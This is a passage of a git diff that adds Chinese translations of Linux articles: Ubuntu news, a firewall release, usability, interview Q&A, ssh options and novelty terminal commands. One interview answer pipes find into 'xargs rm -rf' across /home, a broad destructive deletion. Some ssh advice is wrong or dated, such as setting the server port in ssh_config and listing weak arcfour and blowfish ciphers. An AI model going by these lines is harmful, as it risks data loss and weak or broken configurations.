桌面* + +### 应用与安全 ### + +或许你会觉得在 Windows XP 上安装程序很容易。 +不是么?就双击一个安装程序,然后狂按下一步(包括压根没人读的那份最终用户许可协议),一个程序就这么装上了。 + +Ubuntu 下事情其实更简单。只要打开 Ubuntu 软件中心然后搜索你想要的应用,最后轻轻按下安装,一切搞定! + +有些情况下在 Windows XP 上安装程序会很危险,尤其是在微软终止提供安全补丁以后。 +在 Ubuntu 上你将很难再见到你身边的那堆病毒和流氓软件,即使有病毒在 Linux 上出现也将非常短命。 +只要程序有任何一个问题出现,立即就会有开发人员释出补丁并修复。 + +不过呢,在 Ubuntu 上你也许不大可能会找全你在 Windows XP 上曾经用过的所有软件。 +但大部分知名软件商都会提供 Linux 版本,不但如此你还可以在 Ubuntu 上找寻更多的相似软件予以替代。 + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-14-04-LTS-vs-Windows-XP-Pros-and-Cons-430084-6.jpg) + +*使用 Ubuntu 软件中心安装应用* + +### 游戏 ### + +也许 Windows XP 看起来更适合玩游戏,但事实是大多数游戏开发者将放弃去兼容一个即将消亡的系统。 +而且 Valve 将进一切力量去支持 Linux 平台并将整个游戏产业推向这个方向。 + +Linux 版 Steam 仅推出一年时间就有 500 多个游戏上线而且这个趋势没有任何下降的迹象。 +再过几年,在游戏方面 Linux 平台必将赶超 Windows。 +所以现在就开始熟悉 Ubuntu 吧,如果你是个出色的玩家,就绝不应该放弃这个机会。 + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-14-04-LTS-vs-Windows-XP-Pros-and-Cons-430084-7.jpg) + +*Linux 版《传送门 2》* + +### 结论 ### + +如果你是一个 Windows XP 用户但对使用 Linux 和 Ubuntu 有任何顾虑,建议你在升级到 Windows 7 或 8 之前再三考虑。 +Linux 有所有你需要的功能,没有任何理由不去使用一个基于她的操作系统。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Ubuntu-14-04-LTS-vs-Windows-XP-Pros-and-Cons-430084.shtml + +译者:[VizV](https://github.com/vizv) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201403/Ubuntu 14.04's System Settings received show\357\274\217hide username option.md" "b/published/201403/Ubuntu 14.04's System Settings received show\357\274\217hide username option.md" new file mode 100644 index 0000000000..5bd38be5dc --- /dev/null +++ "b/published/201403/Ubuntu 14.04's System Settings received show\357\274\217hide username option.md" @@ -0,0 +1,21 @@ +Ubuntu 14.04 中系统设置中加入了显示/隐藏用户选项 +================================================================================ +如你所知, Ubuntu目前在开发中, 在未来的几个月中会发布即将到来的Ubuntu 14.04。 + +通过常规升级最近给Ubuntu 14.04 带来了一些小的特性,允许你简单地在Unity面板上显示/隐藏用户名。 + +这意味着如果你进入`系统设置--->用户账户`,你会看到新的`在菜单栏显示我的登录名`选项,默认没有选择。 + +如果你选择了它,你的用户名会显示在Unity面板上,如果你没有选择,顶部面板不会显示用户名。 + +![](http://iloveubuntu.net/pictures_me/system%20settings%20show%20hide%20username.png) + +这个选项很方便,比如,你想要截一张带有你用户名的桌面截图,你只要单击选项,不久之后你就可以通过禁用它来整理你的Unity面板而不必使用非默认的程序。 + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/ubuntu-1404s-system-settings-received-showhide-username-option + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201403/Ubuntu will beat Microsoft in the race to Unified OS.md b/published/201403/Ubuntu will beat Microsoft in the race to Unified OS.md new file mode 100644 index 0000000000..76ae8ce514 --- /dev/null +++ b/published/201403/Ubuntu will beat Microsoft in the race to Unified OS.md @@ -0,0 +1,42 @@ +Ubuntu将在整合操作系统的战役中击败微软 +======================================== +![](http://www.linuxfederation.com/wp-content/uploads/2014/01/ubuntu-tv-pc-smartphone-tablet.jpg) + +Canonical通过Ubuntu的发行正在开发一种无需不同版本就能够在不同平台运行的统一的操作系统,这意味着人们通过同一张从[Ubuntu.com][1] 下载的iso镜像就可以在桌面,手机,平板甚至电视上运行Ubuntu系统。 + +不久之前就有传闻说微软正在做同样的工作,他们准备在消灭不尽人意的Windows RT之后使统一的Windows运行在不同平台上。 + +他们(微软)已经开发了一种叫做Metro的十分热门的统一用户交互界面,但Metro在不同的操作系统中有不同的版本。因为Windows RT是专门为32位的ARM处理器而设计的,不同的版本会造成很多迷惑以及兼容性问题。 + +然而在一场采访中,Shuttleworth告诉[PcPro][2]的记者,Canonical可能会在微软之前发布一种真正的移动/桌面整合的操作系统。 + +> 真正的移动/桌面的整合会发生在下一个重要的发布周期——不会出现在14.04的更新中,但它可能会出现在14.10或者15.04。我们相信我们可以在微软对移动端和桌面平台的整合之前发布,虽然在移动端和桌面平台的整合也是微软确立的在设计与开发两方面的目标。 + +当问到像Android一样良好发展中的操作系统以及缓慢然而稳定发展的Windows是否会对Canonical的未来发展的雄心壮志产生威胁时,Shuttleworth回答道: + +> 我认为我们和Windows8的最大不同是,我们是基于Linux的,就像Android一样。这意味着为Android设计的web以及本地应用比起Windows将会对Ubuntu更加有好。很大部分的Android开发者使用着Ubuntu作为他们的操作系统,而且他们基本上在Ubuntu中开发这些应用,因此对他们来说,同时开发Ubuntu的应用将会变得十分方便。 + +Shuttleworth并没有确认Canonical的任何官方硬件合作伙伴,但他承认有一些“家喻户晓”的品牌厂商正在一些“尖端产品”上内部测试Ubuntu系统。 + +Shuttleworth也暗示Canonical将会改变Ubuntu的6个月的发布周期,并将其改变为实时的更新。 + +> 一旦我们实现了移动端与桌面平台的整合,将会产生“6个月的发布周期是否有用?”这个问题。手机和平板用户们已经习惯了手机上的实时更新,因此我们可能会模糊“发布周期”这个概念,并采用“实时发布”这个解决方案。 + +via: http://www.linuxfederation.com/ubuntu-will-beat-microsoft/ + +译者:ThomazL(https://github.com/ThomazL) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.ubuntu.com/ +[2]:http://www.pcpro.co.uk/news/interviews/386080/mark-shuttleworth-interview-taking-ubuntu-beyond-desktops +[3]: +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: diff --git a/published/201403/Unity Control Center arrived in Ubuntu 14.04 by default.md b/published/201403/Unity Control Center arrived in Ubuntu 14.04 by default.md new file mode 100644 index 0000000000..f84007ac8a --- /dev/null +++ b/published/201403/Unity Control Center arrived in Ubuntu 14.04 by default.md @@ -0,0 +1,25 @@ +Unity控制中心默认会在Ubuntu 14.04 出现 +================================================================================ +几周前,开发者[声称][1]会在Ubuntu 14.04从系统设置中(GNOME 控制中心)复刻一个Unity控制中心到系统设置程序中。 + +本质上来说,Unity控制中心会用在即将到来的Ubuntu 14.04 上,复刻过程是为了避免与Ubuntu风格的GNOME--Ubuntu GNOME--产生问题。 + +Unity控制中心 14.03已经通过常规升级登陆到了Ubuntu 14.04上,现在已经默认在Ubuntu桌面调整中启用。 + +Unity控制中心,除了它的名字外,与原来的系统设置一样保持了相同的外观、感受和特性,展示了它相同的外观和功能(还在开发中)。 + +意味深长的是,启动Unity 14.04控制中心,用户会面对已经熟悉的系统设置窗口和它含有的入口。 + +![](http://iloveubuntu.net/pictures_me/unity%20control%20center%20ubuntu%2014.04%20default.png) + +根据开发者说法,复刻过程是为了保持基于GNOME的系统设置程序能够在Ubuntu 14.04 LTS上使用,而接下来的Ubuntu版本可能会使用基于Qt/QML的系统设置。 + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/unity-control-center-arrived-ubuntu-1404-default + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://iloveubuntu.net/ubuntu-developers-registered-unity-control-center-launchpad-fork-gnome-control-center-so-we-can \ No newline at end of file diff --git a/published/201403/Untangle Next Generation (NG) Firewall Is a Complete Linux Solution.md b/published/201403/Untangle Next Generation (NG) Firewall Is a Complete Linux Solution.md new file mode 100644 index 0000000000..7c4f62c4d0 --- /dev/null +++ b/published/201403/Untangle Next Generation (NG) Firewall Is a Complete Linux Solution.md @@ -0,0 +1,40 @@ +一个纯Linux的防火墙解决方案:Untangle Next Generation (NG) Firewall +================================================================================ +**Untangle Next Generation (NG) Firewall 10.1是一个基于Linux的网关,带有模块化的网络应用,比如垃圾邮件过滤,网页过滤,防病毒,防间谍软件,防入侵,VPN,SSL VPN,以及防火墙。它已经发布并可以下载了。** + +![](http://i1-news.softpedia-static.com/images/news2/Untangle-Next-Generation-NG-Firewall-Is-a-Complete-Linux-Solution-425968-2.jpg) + +Untangle Next Generation (NG,下一代) Firewall曾经叫Ungangle网关,但是开发者们为了更好地展现它的功能,给它改了个名字。 + +NG防火墙现在是许多应用的集合,根据开发者的介绍,它们会并发地侦测网络数据,极大地减少了单独应用的系统资源消耗。 + +NG防火墙的特性包括一个专用的过滤器、高级带宽管理功能、支持加密VPN连接、按组或者按用户来控制,以及许多的支持服务。 + +### Untangle Next Generation (NG) Firewall 10.1的亮点: ### + +- 用户不能下载应用程序,整个下载系统都被移除了,所有的应用都预装在平台中。 +- 支持基本的VRRP设置,在有多个Untangle服务器的时候支持热/冷高可用性。 +- 网络过滤器现在在阻止https链接的时候会显示一个阻挡页面,即使没有使用专用的https检查器。 +- 改善了网络过滤器的https阻挡功能(不带https检查器),在Untanble最新的版本中,https流量会先通过SNI分类。默认情况下,这个分发会根据从https网站获取的证书以及根据证书的CN来建立会话来分类,这个过程更加精确。 +- 支持根据列值或任意值过滤。 +- 支持通过“搜索”做做全局过滤。 +- 提高了广告过滤器的性能。 + +请查看官方的[声明][1]来获得完整的改动和改善列表。 + +### 下载Untangle Gateway Platform 10.1: ### + +- [Untangle Gateway Platform 10.1 (ISO) 64-bit[iso]][2] [565 MB] +- [Untangle Gateway Platform 10.1 (ISO) 32-bit[iso]][3] [561 MB] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Untangle-Next-Generation-NG-Firewall-Is-a-Complete-Linux-Solution-425968.shtml + +译者:[zpl1025](https://github.com/zpl1025) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://wiki.untangle.com/index.php/10.1.0_Changelog +[2]:http://download.untangle.com/untangle_1010_x64.iso +[3]:http://download.untangle.com/untangle_1010_x32.iso diff --git a/published/201403/Usability and Open Source.md b/published/201403/Usability and Open Source.md new file mode 100644 index 0000000000..45d0198586 --- /dev/null +++ b/published/201403/Usability and Open Source.md @@ -0,0 +1,20 @@ +开源软件的易用性 +================================================================================ +[Jim Hall][2] 在 Linux Journal 网站上发表了一篇精彩的[文章][1],是关于开源软件的“易用性”的。在开源项目中,软件的“友好性”往往被敷衍处理,甚至会被完全忽略。另一方面,人们经常将“易用性”与“美观”混为一谈,他们认为软件“易于使用”就是要软件设计得漂亮。开源项目软件的“易用性”经常被开发者忽略,这可以理解,毕竟开发者肯定知道如何使用他们自己的软件,并且对开发的软件的工作环境也了如指掌(译注:举个生活中的例子,译者,就是我,想去附近的阿姨家玩,只需要出门左转右转过个红绿灯再过三幢房就到了,因为我对环境了如指掌;如果要让读者,就是你,找到我阿姨家,估计你要冲过来削我:你 TM 在逗我么)。开源软件能很好地满足开发者自身的需求,但如果想让你的软件被更多人使用,你就需要在“易用性”方面下大功夫。 + +在 Linux Journal 上的这篇文章里面,Hall 介绍了他与几个大学生一起做了一个小小的易用性测试,这些学生都是 Windows 用户,并且对电脑都不怎么熟悉。他们被要求使用装有 Fedora 17 的笔记本,并且要求使用一系列软件,像 Gedit、 Firefox 和 Nautilus,Hall 在一旁观察,并做一些记录。结果显示这些用户能够使用这些软件的基本功能,但对于软件的一些高级功能,他们就束手无策了。他们能够在不需要任何提示的情况下使用火狐上网,但当要求他们改变 Gedit 的默认字体,或使用 Nautilus 为一个文件建立书签时,他们就不知道怎么做了。 + +Hall 做的这项实验对开发者来说是非常有意义的。你永远都想不到用户会将你的软件用在什么地方,并且对于你觉得一目了然的特性,就跟长在脸上的鼻子一样清楚明了的特性,在用户眼里可能就是那么难以理解。我在读研的时候,就做过一个“软件易用性”实验,实验的道具是一款名叫“Silverback”的商业软件,它会调用电脑内置摄像头来拍摄用户的脸部表情。当用户坐下来完成我们布置的任务时,我们中的一个人会坐在用户旁边并做一些记录,实验结束后我们会回头看录像,记录用户鼠标点击次数、用户完成每个任务需要的时间,以及他们是否能完成所有任务。记录用户脸部表情非常有用,特别是配合用户做任务时实验人员写下来的实验记录的时候。笔记上有一条“在第6个步骤有些迷惑”的记录,用户脸部表情与这个记录保持一致,这能显示用户在什么时候感觉遇到挫折了。 + +如果你没有参与过开源社区,这是一个很好的起点。“易用性”不好,就是一个 bug,与软件其它 bug 一样,都需要解决。一个软件如果不能按用户的思路来处理用户的问题,这就是一个 bug。如果你是一个开发者,帮自己一个忙,坐在一个资深的软件使用者旁边,让他用用你的软件。不要指点,不要提醒,不要告诉他需要按什么按键,就让他自己把玩,自己发现软件的用处(就让他往死里吐槽)。也许你能对你的软件有更深一层的了解。如果你觉得了解自己的软件,试试让其他人玩玩吧。 + +-------------------------------------------------------------------------------- + +via: http://ostatic.com/blog/usability-and-open-source + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linuxjournal.com/content/its-about-user-applying-usability-open-source-software +[2]:http://opensource-usability.blogspot.com/ diff --git a/published/201404/10 Useful Random Linux Interview Questions and Answers_t.md b/published/201404/10 Useful Random Linux Interview Questions and Answers_t.md new file mode 100644 index 0000000000..4ad1500a9e --- /dev/null +++ b/published/201404/10 Useful Random Linux Interview Questions and Answers_t.md @@ -0,0 +1,90 @@ +10个在随机出现在面试中的Linux问题及答案 +========================================= +为了给你们带来一些小惊喜,这次我们准备了一些在面试中随机出现的问题而不是专门关于某个领域的问题。这些问题肯定会在不深入学习新知识的前提下使你在面试中脱颖而出。 + +![](http://www.tecmint.com/wp-content/uploads/2014/02/Random-Interview-Questions.png) + +1.假设你在为你工作的公司维护一份日常的备份。这份备份是以压缩后的格式而被维护着。现在你需要检查一份两个月之前的日志,你应该提出什么样的建议从而可以在不解压这份备份的前提下完成检查日志的任务? + +> **答案**: 在不解压文件的前提下检查文件内容,我们需要用到'zcat'。zcat这个工具可以轻松完成这个任务。 + + # zcat ­f phpshell­2.4.tar.gz + +2.你需要追踪你系统中发生的事件,你应该怎么做? + +> **答案**: 为了追踪系统中发生的事件,我们需要用到叫做syslogd的这个后台程序。syslogd这个后台程序可以追踪系统信息并将其保存到指定的日志文件中。 + +启用'syslogd'这个后台进程会在路径'/var/log/syslog'中生成一个日志文件。syslogd应用对解决Linux系统中的问题十分有用。标准生成的日志文件和下面这个例子很像。 + +![syslogd](http://www.tecmint.com/wp-content/uploads/2014/02/syslongd.jpg) + +3.如何禁止特定IP访问FTP服务器? + +> **答案**: 我们可以通过运用tcp_wrapper来禁止可疑的IP访问。首先在路径'/etc/vsftpd.conf'的配置文件中,将tcp_wrapper这个参数设置为"tcp_wrapper=YES",然后在'/etc/host.deny'文件中加入可疑的IP地址。 + +**禁止访问的IP地址** + +打开'/etc/hosts.deny'文件。 + + # vi /etc/hosts.deny + +在文件底端加入拒绝访问的IP地址 + + # + # hosts.deny This file contains access rules which are used to + # deny connections to network services that either use + # the tcp_wrappers library or that have been + # started through a tcp_wrappers-enabled xinetd. + # + # The rules in this file can also be set up in + # /etc/hosts.allow with a 'deny' option instead. + # + # See 'man 5 hosts_options' and 'man 5 hosts_access' + # for information on rule syntax. + # See 'man tcpd' for information on tcp_wrappers + # + vsftpd:172.16.16.1 + +4.告诉我们Telnet和SSH之间的区别? + +> **答案**: Telnet和SSH都是用来远程管理系统的协议。与Telnet直接传输数据正好相反,安全的SSH通信协议需要通信中有密钥的交换,这说明telnet相比较于SSH不安全。 + +5.你需要终止你的X server,但当你尝试杀进程的时候,你遇到了表示不能退出X server的错误信息。你准备怎么做? + +> **答案**: 当你尝试杀X server的进程时,系统不会让你像使用'/etc/init.d/gdm stop'一样正常的退出X server。我们需要执行一个使X server重启的特别的键位组合'Ctrl+ Alt+ BackSpace'。 + +6.告诉我命令'ping'和'ping6'的区别? + +> **答案**: 这两个命令有同样的功能,但'ping6'命令可被用于ipv6的IP地址。 + +7.你想要在Home目录下寻找*.tar文件并一次性删除,你会怎么做? + +> **答案**: 我们要同时用到find和rm命令来删除所有*.tar文件 + + # find /home/ ­name '*.tar' | xargs rm ­rf + +8.locate和slocate命令的区别? + +> **答案**: slocate(secure locate)会寻找所有用户有权限访问的文件,然而locate会搜索(它的数据库里面的)所有更新过的结果。 + +9.你要在当前目录中所有“.txt”文件中搜索“Tecmint”这个字符串,你怎么做? + +> **答案**: 用find命令在当前目录递归寻找文件中的“Tecmint”字符串。 + + # find ­name “*.txt” | xargs grep “Tecmint” + +10.你要向所有已连接的用户发送“Server is going down for maintenance”这样一条信息,你怎么做? + +> **答案**: 运用wall命令就可以很容易地实现,wall命令可以向所有已连接服务器的用户发送信息。 + + # echo please save your work, immediately. The server is going down for Maintenance at 12:30 Pm, sharply. | wall + +![wall command](http://www.tecmint.com/wp-content/uploads/2014/02/wall.jpg) + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/useful-random-linux-interview-questions-and-answers/ + +译者:ThomazL(https://github.com/ThomazL) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201404/10 ssh options for a Secure shell for Safe Data Communication.md b/published/201404/10 ssh options for a Secure shell for Safe Data Communication.md new file mode 100644 index 0000000000..bb3ddada11 --- /dev/null +++ b/published/201404/10 ssh options for a Secure shell for Safe Data Communication.md @@ -0,0 +1,189 @@ +10个 ssh 简单命令选项 +================================================================================ +一个系统管理员可能会同时管理着多台服务器,这些服务器也许会放在不同的地方。要亲自一台一台的去访问来管理它们显然不是最好的方法,通过远程控制的方法应该是最有效的。远程访问最通用的一款应用程序就是 **SSH**(什么?你还用telnet?....$%@%&W@$##)。 + +### SSH 是什么 ### + +**SSH(全称 Secure Shell)**是一种加密的网络协议。使用该协议的数据将被加密,如果在传输中间数据泄漏,也可以确保没有人能读取出有用信息。要使用 SSH,目标机器应该安装 SSH 服务端应用程序,因为 **SSH 是基于客户-服务模式的。** 当你想安全的远程连接到主机,可中间的网络(比如因特网)并不安全,通常这种情况下就会使用 SSH。 + +### 安装 SSH ### + +的 Linux 系统默认已经安装了 SSH。如果碰巧你的机器没装(译注:我能吐槽么?没有不装ssh的Linux服务器吧,不过,大家要记得升级你的ssh服务器),我们可以手工来安装一下。最简单的方式就是使用 Linux 包管理器。 + +### 基于 Debian / Ubuntu 的系统 : ### + +#### 安装 ssh-client #### + + $ sudo apt-get install openssh-client + +#### 安装 ssh-server #### + + $ sudo apt-get install openssh-server + +### 基于 RedHat / CentOS 的系统 : ### + + # yum install openssh-server openssh-clients + +SSH 一旦安装上,我们就可以在终端下输入 **ssh** 来检查下安装的是否正常。 + +![An ssh client](http://linoxide.com/wp-content/uploads/2014/02/ssh_client.png) + +### 使用 SSH ### + +提供了许多可使用的选项。这篇文章会介绍一些我们在日常操作中经常使用的选项。 + +#### 1. 无选项参数运行 SSH #### + +通常使用 SSH 的方式就是不加任何选项参数,仅仅输入 "**ssh**"。下面是示例: + + $ ssh 192.168.0.103 + +![SSH connecti confirmation](http://linoxide.com/wp-content/uploads/2014/02/ssh_ask_connect.png) + +第一次连接目标主机时,ssh 会让你确认目标主机的真实性。如果你回答的是 **NO**,SSH 将不会继续连接,只有回答 **Yes** 才会继续(译注:会加入RSA key的指纹作为记录,如果下次连接发现指纹变化,会提示你)。 + +![Connecting to SSH](http://linoxide.com/wp-content/uploads/2014/02/ssh_connect.png) + +下一次再登陆此主机时,SSH 就不会提示确认消息了。对此主机的真实验证信息已经默认保存在每个用户的 /home/user/.ssh 文件里。 + +#### 2. 指定登陆用户 #### + +默认的,ssh 会尝试用当前用户作为用户名来连接。在上面的示例命令中,ssh 会尝试用用户名叫 pungki 的用户身份来登入服务器,这是因为用户 pungki 正在客户机上使用 ssh 客户端软件。 + +假如目标主机上没有叫 pungki 的用户呢?这时你就必须提供一个目标主机上存在的用户名。从一开始就要指定用户名的,可以使用 -l 选项参数。 + + $ ssh -l leni 192.168.0.103 + +![Ssh using -l option](http://linoxide.com/wp-content/uploads/2014/02/ssh_l.png) + +我们也可以这样输入: + + $ ssh leni@192.168.0.0103 + +![Another way to supply username](http://linoxide.com/wp-content/uploads/2014/02/ssh_l_2.png) + +#### 3. 指定端口 #### + +**SSH 默认使用的端口号是 22。**大多现代的 Linux 系统 22 端口都是开放的。如果你运行 ssh 程序而没有指定端口号,它直接就是通过 22 端口发送请求的。 + +一些系统管理员会改变 SSH 的默认端口号。让我们试试,现在端口号是 1234.要连上那主机,就要使用 ***-p** 选项,后面在加上 SSH 端口号。 + + $ ssh 192.168.0.103 -p 1234 + +要改变端口号,我们需要修改 **/etc/ssh/ssh_config** 文件,找到此行: + + Port 22 + +把它换成其他的端口号,比如上面示例的 1234 端口,然后重启 SSH 服务。 + +#### 4.对所有数据请求压缩 #### + +有了这个选项,所有通过 SSH 发送或接收的数据将会被压缩,并且任然是加密的。要使用 SSH 的压缩功能,使用 **-C** 选项。 + + $ ssh -C 192.168.0.103 + +如果你的连网速度很慢的话,比如用 modem 上网,这个选项非常有用。但如果你使用的是像 LAN 或其它更高级网络的话,压缩反而会降低你的传输速度。可以使用 **-o** 选项加上**压缩级别参数**来控制压缩的级别,但这个选项仅仅只在 SSH-1 下起作用。 + +#### 5. 指定一个加密算法 #### + +SSH 提供了一些可用的加密算法。可以在 **/etc/ssh/ssh_config or ~/.ssh/config ** 文件中看到(如果存在的话)。 + +![SSH cipher configuration example](http://linoxide.com/wp-content/uploads/2014/02/ssh_cipher.png) + +让我们试试比如你想使用 **blowfish** 算法来加密你的 SSH 会话,那么你只要把这一行加入你的 **/etc/ssh/ssh_config or ~/.ssh/config** 文件就可以: + + Cipher blowfish + +默认的,SSH 会使用 3des 算法。 + +#### 6. 打开调试模式 #### + +因为某些原因,我们想要追踪调试我们建立的 SSH 连接情况。SSH 提供的 **-v** 选项参数正是为此而设的。 + + $ ssh -v 192.168.0.103 + +![debug ssh connection](http://linoxide.com/wp-content/uploads/2014/02/ssh_v.png) + +#### 7. 绑定源地址 #### + +如果你的客户端有多于两个以上的 IP 地址,你就不可能分得清楚在使用哪一个 IP 连接到 SSH 服务器。 + +![More than 1 IP Address](http://linoxide.com/wp-content/uploads/2014/02/ifconfig.png) + +为了解决这种情况,我们可以使用 **-b** 选项来指定一个IP 地址。这个 IP 将会被使用做建立连接的源地址。 + + $ ssh -b 192.168.0.200 -l leni 192.168.0.103 + +服务端,我们可以使用 netstat 命令来检查到服务的连接是否建立。可以看到 IP 为 192.168.0.200 的连接已经建立。 + +![Bind address using SSH](http://linoxide.com/wp-content/uploads/2014/02/ssh_bind.png) + +#### 8. 使用其他配置文件 #### + +默认情况下,ssh 会使用位于 **/etc/ssh/ssh_config** 的配置文件。这个配置文件作用于系统的所有用户。但你想要为特定的用户指定特殊的设置的话,可以把配置放入 **~/.ssh/config** 文件中。如果此文件不存在,可以手工创建一个。 + +下面是一个通用 **ssh_config** 文件配置的例子。这配置文件位于 **/home/pungki** 目录下。 + + Host 192.168.0.* + ForwardX11 yes + PasswordAuthentication yes + ConnectTimeout 10 + Ciphers aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc + Protocol 2 + HashKnownHosts yes + +要使用指定的配置文件,可以使用 **-F** 选项。 + + $ ssh -F /home/pungki/my_ssh_config 192.168.0.101 + +![Specify your ssh_config](http://linoxide.com/wp-content/uploads/2014/02/ssh_F.png) + +### 9. 使用 SSH X11 Forwarding ### + +某些时候,你可能想把服务端的 X11 应用程序显示到客户端计算机上,SSH 提供了 **-X** 选项。但要启用这功能,我们需要做些准备,下面是它的设置: + +在服务器端,你需要使 **/etc/ssh/ssh_config** 文件中的行设置成 **ForwardX11 yes 或者 X11Forwad yes**,以启用 X11 Forwarding,重启 SSH 服务程序。 + +然后在客户端,输入 **ssh -X user@host**: + + $ ssh -X leni@192.168.0.101 + +一旦登陆,可以输入: + + $ echo $DISPLAY + +来检查,你应该可以看到向如下所示的 + + localhost:10:0 + +随后就可以运行应用了,仅仅只能输入应用程序的命令。让我们试试,比如想运行 xclock 程序,输入: + + $ xclock + +![Use X11 Formading](http://linoxide.com/wp-content/uploads/2014/02/ssh_Y.png) + +它就运行起来了,xclock 确实是运行在远端系统的,但它在你的本地系统里显示了。 + +![xclock](http://linoxide.com/wp-content/uploads/2014/02/xclock.png) + +#### 10. 可信任的 X11 转发 #### + +如果你敢肯定你的网络是安全的,那么你可以使用**可信任的 X11 转发机制**。这意味着远程的 X11 客户端可以完全的访问源 X11 显示内容。要使用此功能,可以使用 **-Y** 选项。 + + $ ssh -Y leni@192.168.0.101 + +![SSH _Y for trusted connection](http://linoxide.com/wp-content/uploads/2014/02/ssh_Y1.png) + +### 结论 ### + +我们相信 SSH 的使用范围非常之广。SSH 给用户提供了网络连接的极大安全性和灵活性。通常我们都会输入 **man ssh** 和 **man ssh_config** 来显示它的用户手册及查看更多的细节。 + +(译注补充:建议使用ssh的协议版本2,因此请修改 ssh_config 文件的 Protocol 字段为:2,而将对协议1的支持取消。) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/learn-ssh-connection-options/ + +译者:[runningwater](https://github.com/runningwater) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201404/20 Funny Commands of Linux or Linux is Fun in Terminal.md b/published/201404/20 Funny Commands of Linux or Linux is Fun in Terminal.md new file mode 100644 index 0000000000..e4e59a0b77 --- /dev/null +++ b/published/201404/20 Funny Commands of Linux or Linux is Fun in Terminal.md @@ -0,0 +1,432 @@ +Linux命令及Linux终端的20个趣事 +================================================================================ +玩**Linux**其乐无穷!**哈哈**。不相信。记住我的话,在文章结尾时你就会相信**Linux**确实好玩了。 + +![20 Linux Funny Commands](http://www.tecmint.com/wp-content/uploads/2013/05/Linux-Funny-Commands.png) + +### 1. 命令:sl (蒸汽机车) ### + +你可能了解 ‘ls’ 命令,并经常使用它来查看文件夹的内容。但是,有些时候你可能会拼写成 ‘sl’ ,这时我们应该如何获得一些乐趣而不是看见“command not found”呢? + +#### 安装 sl #### + + root@tecmint:~# apt-get install sl (In Debian like OS) + root@tecmint:~# yum -y install sl (In Red Hat like OS) + +#### 输出 #### + + root@tecmint:~# sl + +![sl command](http://www.tecmint.com/wp-content/uploads/2013/05/sl.png) + +当你敲入的是‘**LS**‘而不是’**ls**‘时,这个命令也会运行。 + +### 2. 命令:telnet ### + +**非也!非也!!**这可不像它平常那样复杂。你可能很熟悉**telnet**。Telnet 是一个文本化的双向网络协议。这里不需要安装什么东西。你需要的就是一个Linux系统和一个连通的网络。 + + root@tecmint:~# telnet towel.blinkenlights.nl + +![telnet command](http://www.tecmint.com/wp-content/uploads/2013/05/telnet.png) + +### 3. 命令:fortune ### + +试试你未知的运气,终端里有时也有好玩的。 + +#### 安装 fortune #### + + root@tecmint:~# apt-get install fortune (for aptitude based system) + root@tecmint:~# yum install fortune (for yum based system) + + root@tecmint:~# fortune + + You're not my type. For that matter, you're not even my species!!! + Future looks spotty. You will spill soup in late evening. + You worry too much about your job. Stop it. You are not paid enough to worry. + Your love life will be... interesting. + +### 4. 命令:rev(翻转)### + +它会把传递给它的的每个字符串都反过来,是不是很好玩。 + + root@tecmint:~# rev + + 123abc + cba321 + + xuniL eb ot nrob + born to be Linux + +### 5. 命令:factor ### + +该谈点儿关于**Mathematics**的了,这个命令输出给定数字的所有因子。 + + root@tecmint:~# factor + + 5 + 5: 5 + + 12 + 12: 2 2 3 + + 1001 + 1001: 7 11 13 + + 5442134 + 5442134: 2 2721067 + +### 6.命令:script ### + +好的,这不是什么命令,而是一个脚本,一个很有趣的脚本。 + + root@tecmint:~# for i in {1..12}; do for j in $(seq 1 $i); do echo -ne $i x $j=$((i*j))\\t;done; echo;done + + 1 x 1=1 + 2 x 1=2 2 x 2=4 + 3 x 1=3 3 x 2=6 3 x 3=9 + 4 x 1=4 4 x 2=8 4 x 3=12 4 x 4=16 + 5 x 1=5 5 x 2=10 5 x 3=15 5 x 4=20 5 x 5=25 + 6 x 1=6 6 x 2=12 6 x 3=18 6 x 4=24 6 x 5=30 6 x 6=36 + 7 x 1=7 7 x 2=14 7 x 3=21 7 x 4=28 7 x 5=35 7 x 6=42 7 x 7=49 + 8 x 1=8 8 x 2=16 8 x 3=24 8 x 4=32 8 x 5=40 8 x 6=48 8 x 7=56 8 x 8=64 + 9 x 1=9 9 x 2=18 9 x 3=27 9 x 4=36 9 x 5=45 9 x 6=54 9 x 7=63 9 x 8=72 9 x 9=81 + 10 x 1=10 10 x 2=20 10 x 3=30 10 x 4=40 10 x 5=50 10 x 6=60 10 x 7=70 10 x 8=80 10 x 9=90 10 x 10=100 + 11 x 1=11 11 x 2=22 11 x 3=33 11 x 4=44 11 